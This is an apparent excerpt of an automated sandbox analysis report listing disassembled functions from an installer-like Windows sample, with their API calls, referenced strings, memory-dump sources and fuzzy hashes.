Instruction ID: 4faa0e620455ca5c71f23fbcff7ecca549fd8c0ba52d071984874bd68527483e
Opcode Fuzzy Hash: 3bef515560e07c85fc91ca1f75fa33408194282e5ad1449b105b48e2d26e256f
Instruction Fuzzy Hash: 2621D531E01220ABDB23AB64EC50A5A3768EF52760F268521E906A7299DB30FF00C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 0034659D Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00346618,0034657B,0034681C), ref: 003465B4
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 003465CA
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 003465DF

Strings

KERNEL32.DLL, xrefs: 003465AF
ReleaseSRWLockExclusive, xrefs: 003465D4
AcquireSRWLockExclusive, xrefs: 003465C4

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 9d4c38bdfe3a606deb78a8fba0568f680a9753acc25a5c275c651e3649648df7
Instruction ID: 25b5c969c255b6fd8bec22a9346280a8ad3e267cc2e32b5d74016896ac060989
Opcode Fuzzy Hash: 9d4c38bdfe3a606deb78a8fba0568f680a9753acc25a5c275c651e3649648df7
Instruction Fuzzy Hash: 0FF0C2B2751632EB4F238F654C83AA622CCAB03346303547ED802DB640EB58FC46C796

Uniqueness

Uniqueness Score: -1.00%

Function 6A56CF11 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6A5D6A2C,?,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF1B
LeaveCriticalSection.KERNEL32(6A5D6A2C,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF4E
RtlWakeAllConditionVariable.NTDLL ref: 6A56CFC5
SetEvent.KERNEL32(?,6A5D7224,6A59F850), ref: 6A56CFCF
ResetEvent.KERNEL32(?,6A5D7224,6A59F850), ref: 6A56CFDB

Strings

,j]j, xrefs: 6A56CF15

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID: ,j]j
API String ID: 3916383385-747776563
Opcode ID: aac2b737d2ab7e84e0d98b1bb2fa418aa85c4cabc67c049332d5c5e4968827f5
Instruction ID: 7d2cd6285b8359ff9b840b0fc7d2c0a537b1a69728b21eace38169c5685a755f
Opcode Fuzzy Hash: aac2b737d2ab7e84e0d98b1bb2fa418aa85c4cabc67c049332d5c5e4968827f5
Instruction Fuzzy Hash: 6F012835620620EBCF00EF18E8089897BF9FB0E351703401AF942DBA10CB316C42EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 002227E0 Relevance: 9.4, APIs: 4, Strings: 2, Instructions: 419memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000004), ref: 002229F6
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000004), ref: 002229FC

Part of subcall function 002246D0: GetProcessHeap.KERNEL32(?,?,DF534560,00000000), ref: 0022478A
Part of subcall function 002246D0: HeapFree.KERNEL32(00000000,?,?,DF534560,00000000), ref: 00224790

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00222C07
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00222C0D

Strings

Lt=, xrefs: 00222951
Lt=, xrefs: 00222B5C

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID: Lt=$Lt=
API String ID: 3859560861-2452508605
Opcode ID: b6aab5438171b2622cdacda55386f6c483b6bd2ced8a74f6ebfe7949ad4f593c
Instruction ID: 2a442751486b2a5bc35dae28df61a20cd5e528f6eae5f29afbaa93886374874a
Opcode Fuzzy Hash: b6aab5438171b2622cdacda55386f6c483b6bd2ced8a74f6ebfe7949ad4f593c
Instruction Fuzzy Hash: D9F18970D00249EFDB14DFA8C955BEEBBB4FF15314F2041ADE811AB291DB75AA08CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A589ACA Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 663a2471c7cdb10a003cabac4071417572c1b103886090a4d40de77ad56833ab
Instruction ID: 2786784e83cbb66d30419b9951fbd557c71030300f7fce676dd79be7d4fd2f0e
Opcode Fuzzy Hash: 663a2471c7cdb10a003cabac4071417572c1b103886090a4d40de77ad56833ab
Instruction Fuzzy Hash: ABB1D3B1A04259EFDB12CF99C884BAEBBF5BF86304F014159E414AB282CF71DD42CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0021A5D0 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 227memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0021A7EE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0021A7F4
GetProcessHeap.KERNEL32(-000000FF,00000000), ref: 0021A81F
HeapFree.KERNEL32(00000000,-000000FF,00000000), ref: 0021A825

Strings

_TEMP, xrefs: 0021A717, 0021A748
Lt=, xrefs: 0021A749

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID: Lt=$_TEMP
API String ID: 3859560861-100472605
Opcode ID: 2b088992078af9115b93a18a587e03160336678b1a860b5f994da38a36bb3d4c
Instruction ID: fd82e15f8c0ae4055108371115adf80a0465d975304e8b9a4e9101cbd9d4f2f3
Opcode Fuzzy Hash: 2b088992078af9115b93a18a587e03160336678b1a860b5f994da38a36bb3d4c
Instruction Fuzzy Hash: 249199B0D012499FDB10DFA8C985BEEBBF4FF58324F24426DE415A7281C7745A45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A55A8F0 Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6A55A93A
std::_Lockit::_Lockit.LIBCPMT ref: 6A55A95C
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55A984
__Getctype.LIBCPMT ref: 6A55AA65
std::_Facet_Register.LIBCPMT ref: 6A55AAC7
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55AAF1

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 15cf2b3783b515a8d1ea7dc4a7c2135e566ffd3a8054bf396c4818f5d0f96e0b
Instruction ID: cd15eca0773cce8cea4f5b61c0a246fc036383fa6f895b5662f4dec4883a1a22
Opcode Fuzzy Hash: 15cf2b3783b515a8d1ea7dc4a7c2135e566ffd3a8054bf396c4818f5d0f96e0b
Instruction Fuzzy Hash: 8A61EEB0C00249DFDB11CF58C94479EBBF4FB05314F16825AD945AB352EB34AE84CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A56E87D Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6A570960,6A56D0E5,6A56D499,?,6A56D6D1,?,00000001,?,?,00000001,?,6A5C96D0,0000000C,6A56D7CA), ref: 6A56E88B
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6A56E899
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6A56E8B2
SetLastError.KERNEL32(00000000,6A56D6D1,?,00000001,?,?,00000001,?,6A5C96D0,0000000C,6A56D7CA,?,00000001,?), ref: 6A56E904

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d84b3b62f1686ed16f7211f1f866d209f1887846abb93bc81af01c12e3d39d31
Instruction ID: f63823c648637924c0240ecfae81c12ee2db3973a3fe7a0a06e0a0b0c74bc262
Opcode Fuzzy Hash: d84b3b62f1686ed16f7211f1f866d209f1887846abb93bc81af01c12e3d39d31
Instruction Fuzzy Hash: 9801883260A7117EA665D679AC8C94F37A4FB43678722022EF920B51F5EF619C025690

Uniqueness

Uniqueness Score: -1.00%

Function 0034AE99 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0034AE90,0034AE5C,?,?,001E6D6D,002B4950,?,00000008), ref: 0034AEA7
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0034AEB5
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0034AECE
SetLastError.KERNEL32(00000000,0034AE90,0034AE5C,?,?,001E6D6D,002B4950,?,00000008), ref: 0034AF20

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 9e16e27f58981725d8238ecdb8cde9b561bb0259149fb3d44ebd269089f59b85
Instruction ID: 808edf77c0cb96fd38b97deb7c1b5e21dff851cfe85c15438ba8aa163d573338
Opcode Fuzzy Hash: 9e16e27f58981725d8238ecdb8cde9b561bb0259149fb3d44ebd269089f59b85
Instruction Fuzzy Hash: 7E014C7214DB115EA6272B78BCC59276BC8EB01BB7731023AF5209D0E3EF21AD049255

Uniqueness

Uniqueness Score: -1.00%

Function 002CBAC0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 287COMMON

Download Yara Rule

APIs

GetShortPathNameW.KERNEL32(DF534560,00000000,00000000), ref: 002CBB1F
GetShortPathNameW.KERNEL32(?,?,?), ref: 002CBB8D

Strings

neutral, xrefs: 002CBCE7
x86, xrefs: 002CBD4B
x64, xrefs: 002CBDAB

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: NamePathShort
String ID: neutral$x64$x86
API String ID: 1295925010-1541741584
Opcode ID: 35d9d22ce4561009ec489e445b61f887ab62dd8a192454f4eb7708ff607c5aed
Instruction ID: 94e43bbed238fb8e73d8dac5b014a7a5e958ac62a542992b717733bd78bb7aca
Opcode Fuzzy Hash: 35d9d22ce4561009ec489e445b61f887ab62dd8a192454f4eb7708ff607c5aed
Instruction Fuzzy Hash: D4B1D371900649AFDB01DFA4C849FDEFBB4EF15324F14825DE905AB281DB74AA54CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6A5599B0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 279fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,AA831995,?,00000004), ref: 6A559A14
MoveFileW.KERNEL32(?,00000000), ref: 6A559D27
DeleteFileW.KERNEL32(?,?,00000004), ref: 6A559D6F

Strings

URL, xrefs: 6A559A0E, 6A559D57
url, xrefs: 6A559B06, 6A559D52

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: File$DeleteMoveNameTemp
String ID: URL$url
API String ID: 788073729-346267919
Opcode ID: 9da72e9269ab718ce207567f806b567775378935a7640fb8a6f16159e78603f2
Instruction ID: 3dc0fc774a3a67051ce897a930069dce6bfb01d1547b998b3b91ef24c8c0c2f0
Opcode Fuzzy Hash: 9da72e9269ab718ce207567f806b567775378935a7640fb8a6f16159e78603f2
Instruction Fuzzy Hash: 34D145B0914269DADB24CF28CC98BDDBBB4FF54304F1042DAD409A7291EB796B94CF91

Uniqueness

Uniqueness Score: -1.00%

Function 002F4E30 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 244fileCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 002F4E64

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

DeleteFileW.KERNEL32(?), ref: 002F4F0A
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 002F503F

Part of subcall function 002B8580: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,DF534560,00000001,7508EB20,00000000), ref: 002B85CF
Part of subcall function 002B8580: ReadFile.KERNEL32(00000000,?,000003FF,?,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000,DF534560,00000001,7508EB20,00000000), ref: 002B8605

_wcsrchr.LIBVCRUNTIME ref: 002F4F79

Strings

--verbose --log-file="%s" --remove-pack-file "%s" "%s", xrefs: 002F4EBE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$DeleteInit_thread_footer_wcsrchr$CreateHeapProcessRead
String ID: --verbose --log-file="%s" --remove-pack-file "%s" "%s"
API String ID: 1643751158-3685554107
Opcode ID: 614ab15e4256757dfb71bb29a80a0d9801f0d57949aa80abad6d4a1bfce1230a
Instruction ID: 7e3232f27e2db7ea4e9d7c48e2e022bc1692751b6b61d6c1c65d119df9cf1842
Opcode Fuzzy Hash: 614ab15e4256757dfb71bb29a80a0d9801f0d57949aa80abad6d4a1bfce1230a
Instruction Fuzzy Hash: C091C331A0050A9FDB00DF68CC44BAEFBB5EF55325F1482A9E515DB292DB31DD14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001B8860 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 238COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001B8945
__Init_thread_footer.LIBCMT ref: 001B89BF

Strings

</a>, xrefs: 001B8AC9
<a href=", xrefs: 001B8907
<a>, xrefs: 001B8B71

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer
String ID: </a>$<a href="$<a>
API String ID: 1385522511-4210067781
Opcode ID: 2b6ed7783bc8eeda28f3cd7594687ad47477dae0c454694361e61fefd7d199fe
Instruction ID: 0068be67812d82fdbcf3520fa4a6b8afb3345a4b2e5e5b9735c79dd066b0e982
Opcode Fuzzy Hash: 2b6ed7783bc8eeda28f3cd7594687ad47477dae0c454694361e61fefd7d199fe
Instruction Fuzzy Hash: D7A1CE70A00308EFCB14DF68D855BADB7B5FF49714F204269E815AB3D2EB34A944CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0020D2D0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 207threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0020D43C

Strings

AI_HIDE_CAPTION_ICON_AND_TEXT, xrefs: 0020D3E0
h]4, xrefs: 0020D326, 0020D491
8Y>, xrefs: 0020D333
AI_HIDE_CAPTION_ICON_AND_TEXT_ALL, xrefs: 0020D369

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CurrentThread
String ID: 8Y>$AI_HIDE_CAPTION_ICON_AND_TEXT$AI_HIDE_CAPTION_ICON_AND_TEXT_ALL$h]4
API String ID: 2882836952-1399895918
Opcode ID: 4a09e66d73fb64cb563321f9523bacfd0bdf231a37207b464a94535e580ea68e
Instruction ID: 55f8ae72717159801a0611f138c36421da25dad882e0ba92a643c2d12cd9609f
Opcode Fuzzy Hash: 4a09e66d73fb64cb563321f9523bacfd0bdf231a37207b464a94535e580ea68e
Instruction Fuzzy Hash: B781A071A11208DFCF05EFA8C995BEDBBB5AF54300F1441A8E805AB293DB74AE44CF91

Uniqueness

Uniqueness Score: -1.00%

Function 002B7710 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166synchronizationCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 002B7897
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002B78B3
GetExitCodeProcess.KERNEL32(00000000,003AEFA7), ref: 002B78C4
CloseHandle.KERNEL32(00000000), ref: 002B78D2

Strings

open, xrefs: 002B77A7

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait
String ID: open
API String ID: 2321548817-2758837156
Opcode ID: 3aaa3979612c294e354fc6fd77319b518354e8ed695718838b3b339451fca078
Instruction ID: a99b801b50f27cc060a3e2490f1a7b3cdc9ede303bc27fa47a0ccc7e5bcc64ff
Opcode Fuzzy Hash: 3aaa3979612c294e354fc6fd77319b518354e8ed695718838b3b339451fca078
Instruction Fuzzy Hash: C6616B71E146499BDB10CFA9C84879EBBB4FF85364F184269E824AB3D1D7749900DB90

Uniqueness

Uniqueness Score: -1.00%

Function 001E83C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 001E8407
GetLastError.KERNEL32 ref: 001E8452
CloseHandle.KERNEL32(00000000), ref: 001E8489

Strings

SeShutdownPrivilege, xrefs: 001E8422
t=, xrefs: 001E847D

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CloseCurrentErrorHandleLastProcess
String ID: SeShutdownPrivilege$t=
API String ID: 1009092642-4076881080
Opcode ID: f3fa1200dc71cac8abca9acada2de66d7a87eb6757389ec7ffd31e5266928b9d
Instruction ID: 6d738142aba2f6cf436ecd65d5bfacc49c6d2f996e043ae316d82d4118c11feb
Opcode Fuzzy Hash: f3fa1200dc71cac8abca9acada2de66d7a87eb6757389ec7ffd31e5266928b9d
Instruction Fuzzy Hash: 84215771A40209EFEB10DFA1CD49BEEBBF8FB08715F144129E915B62D0DB75A904CB28

Uniqueness

Uniqueness Score: -1.00%

Function 6A571917 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6A5719DA,00000000,?,00000001,00000000,?,6A571A51,00000001,FlsFree,6A5A25FC,FlsFree,00000000), ref: 6A5719A8

Strings

api-ms-, xrefs: 6A571968

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
